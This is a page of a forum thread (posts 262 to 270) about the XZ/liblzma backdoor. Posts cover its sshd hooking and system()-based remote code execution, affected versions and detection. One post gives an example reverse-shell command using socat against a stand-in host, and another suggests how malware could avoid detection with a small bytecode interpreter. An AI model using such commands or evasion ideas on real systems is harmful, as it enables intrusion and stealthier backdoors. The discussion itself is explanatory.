Earlier quoted context omitted.
Would it really have caught it?
No
... why?
XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."
261–270 of 862 posts
Re: XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."
#262Earlier quoted context omitted.
What is constantly overlooked here on HN is that in legal terms, one of the most important things is intent . Commenters on HN always approach legal issues from a technical perspective but that is simply not how the judicial system works. Whether something is “technically X” or not is irrelevant, laws are usually written with the purpose of catching people based on their intent (malicious hacking), not merely on the…
Yeah, it bothers me so much. They really seem to think that "law is code".
[deleted]
Re: XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."
#263Can someone explain succinctly what the backdoor does ? Do we even know yet? The backdoor itself is not a payload, right? Does it need a malicious archive to exploit it? Or does it hook into the sshd process to listen for malicious packets from a remote attacker? The OP makes it sound like an attacker can send a malicious payload in the pre-auth phase of an SSH session - but why does he say that an exploit might neve…
Siblings saying "we don't know" haven't really groked the post I don't think.
If I'm understanding the thread correctly, here's a (not so) succinct explanation. Please, if you know better than I do, correct me if I've made an error in my understanding.
`system()` is a standard C function that takes a string as input and runs it through `sh`, like so:
sh -c "whatever input"
system("echo '!dlroW ,olleH' | rev");
The backdoor utilizes this function in the code that gets injected into `sshd` by way of liblzma.so, a library for the LZMA compression algorithm (commonly associated with the `.xz` extension). Jia Tan, the person at the center of this whole back door, has been a maintainer of that project for several years now.
Without going too much into how the injected code gets into the `sshd` process, the back door inserts itself into the symbol lookup process earlier than other libraries, such as libcrypto and openssl. What this means is (and I'm over-simplifying a lot), when the process needs to map usages of e.g. `SSL_decrypt_key()` that were linked to dynamic libraries (as opposed to be statically linked and thus included directly into `sshd`), to real functions, it does a string-wise lookup to see where it can find it.
It runs through a list of dynamic libraries that might have it and sees if they export it. If they do, it gets the address of the exported function and remembers where it's at so that further calls to that function can be found quickly, without another search. This is how DLLs and SOs (dynamic libraries) are linked to the process that needs them at runtime without the process needing to know exactly where the functions that they need are located.
The back door hijacks this mechanism to insert its own functions in some of those places, so that when `sshd` thinks it's calling `SSL_decrypt_key()`, it's really calling some malicious function in the back door - which can then choose to do something with the data passed to the function call, or it can choose to forward the call to the real function.
It makes use of this when `sshd` needs to validate RSA information passed to the server via a client connection during authentication. An RSA key has a bunch of fields, one of which is the 'n' field - the public key data itself. OpenSSL implements this as a BIGNUM, or a variable-length, potentially very large number. It's more or less read in as a bag of bytes, and its meaning depends on the underlying encryption algorithm. This is the mechanism behind "public key authentication" when connecting to servers, and is generally more secure than e.g. username/password authentication.
The back door intercepts the call to check the RSA data, pulls out the 'n' parameter, and tries to decrypt it using ChaCha20. There's no way for it to know if it's decrypted beforehand, but generally encryption algorithms have a way to error-check and report failures - that, or you add some well known piece of information into the encrypted data that you can verify once it's decrypted.
Either way, the back door checks to see if it's really an encrypted string. If not, it forwards the call back to the original RSA check mechanism so that sshd can process it normally.
However, if the decryption succeeds, the back door passes the decrypted string to `system()`. This means that a random client connecting to an SSH server can craft an RSA public key that is really an encrypted, malicious payload to run any arbitrary shell command under which the same user `sshd` is running - oftentimes root.
Not only that, but the back door also checks the incoming RSA structure to see if it's coming from the person who made it. This prevents any of us finding this exploit and using it ourselves, even if we know our target is infected. It's a completely exclusive back door to whomever holds the private key used by the back door to sort of 'authenticate' the exploit itself.
This is much worse than what many of us thought it was before - a public key auth bypass - which would have meant that you'd only gain access to any user allowed to log in via SSH. SSH's configuration file has a setting that disables root logins under any circumstances that is generally enabled on production systems for obvious reasons. However, with it being an RCE, SSH servers running as root would execute the payloads as root.
From there, they could easily run socat and have the system connect to a server of their choice to gain a remote interactive shell, for example:
socat TCP:example.com:1234 SYSTEM:"bash -l"
Hope that explains it a bit.
Re: XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."
#264Earlier quoted context omitted.
Since a liblzma backdoor could be used to modify compiler packages that are installed on some distributions, it gets right back to a trusting trust attack. Although initial detection via eg strace would be possible, if the backdoor was later removed or went quiescentit would be full trusting trust territory.
How would this be possible? This backdoor works because lzma is loaded into sshd (by a roundabout method involving systemd). I don't think gcc or clang links lzma.
When the backdoor is loaded by sshd it could modify the gcc/clang install, or some system header file.
Re: XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."
#265I've seen a lot of discussion on the topic but have yet to see someone just specify which versions of xz are likely affected so that I can verify whether I'm running them or not ..
Ask your distro. On Arch, it's 5.6.0-1 and 5.6.1-1. Most of Debian (outside sid/unstable) is unaffected, as allegedly is Red Hat.
https://archlinux.org/news/the-xz-package-has-been-backdoore...
Re: XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."
#266One have question on this is, if the backdoor would not been discovered due to performance issue (which was as I understood it purely an oversight/fixable deficiency in the code), what are the chances of discovering this backdoor later, or are there tools that would have picked it up? Those questions are IMO relevant to understand if this kind of backdoor is the first one of the kind, or the first one that was uncove…
I expect a lot of people will be doing a whole lot of thinking along these lines over the next months. Code review? Some kind of behavioral analysis? IMO the call to system() was kind of sloppy, and a binary capabilities scanner could have potentially identified a path to that.
I'm really surprised they did a call to system() rather than just implement a tiny bytecode interpreter.
A bytecode interpreter that can call syscalls can be just a few hundred bytes of code, and means you can avoid calling system() (whose calls might be logged), and avoid calling mprotect to make code executable (also something likely to raise security red flags).
The only downside of a bytecode interpreter is the whole of the rest of your malware needs to be compiled to your custom bytecode to get the benefits, and you will take a pretty big performance hit. Unless you're streaming the users webcam, that probably isn't an issue tho.
Re: XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."
#267Earlier quoted context omitted.
[flagged]
No. You are still bitter about systemd and are trying to assert blame which does not reasonably exist.
I'm not bitter, I'm wary of systemd in a security context. Their vulns seem to be a result of poor choices made deliberately rather than mistakes or sloppy coding (e.g. defaulting to running units as root when the UID/username couldn't be parsed). Lennart was staunchly anti-CVE, which to me seems again like making a deliberate choice that will only hinder a secure implementation.
I haven't followed systemd too closely, has their stance on CVEs at least evolved?
Re: XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."
#268Earlier quoted context omitted.
Why would open source models make this scenario you are painting better?
Because in the closed source model the frustrated developer that looked into this SSH slowness submits a ticket for the owner of the malicious code to dismiss.
This seems completely unrelated to the grandparent comment’s mention of open source LLMs
Re: XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."
#269Earlier quoted context omitted.
I don't think we know what exactly this does, yet. I can only answer one of those questions, as far as I understand the "unreplayable" part is refering to this: > Apparently the backdoor reverts back to regular operation if the payload is malformed or *the signature from the attacker's key doesn't verify*. emphasis mine, note the "signature of the attacker's key". So unless that key is leaked, or someone breaks the R…
It would be really cool if in 20 years when we have quantum computers powerful enough we could see what this exploit does.
My understanding is that we know somehow already what the exploit allows the attacker to do - we just can't reproduce it because we don't have their private key.
Technically, we can modify the backdoor and embed our own public key - but there is no way to probe a random server on the internet and check if it's vulnerable (from a scanner perspective).
In a certain way it's a good thing - only the creator of the backdoor can access your vulnerable system...
Re: XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."
#270Earlier quoted context omitted.
I wonder if there is anything else cmake related that should be looked at. Wasn't cmake support originally added to xz to use with Windows and MSVC?
But that's a check for a Linux feature. So the more interesting question would be, what in the Linux world might be building xz-utils with cmake, I guess using ExternalProject_Add or something similar.
Yes this is Linux.
At this time we don't know exactly how much is affected and what originally drew the attention of the attacker(s).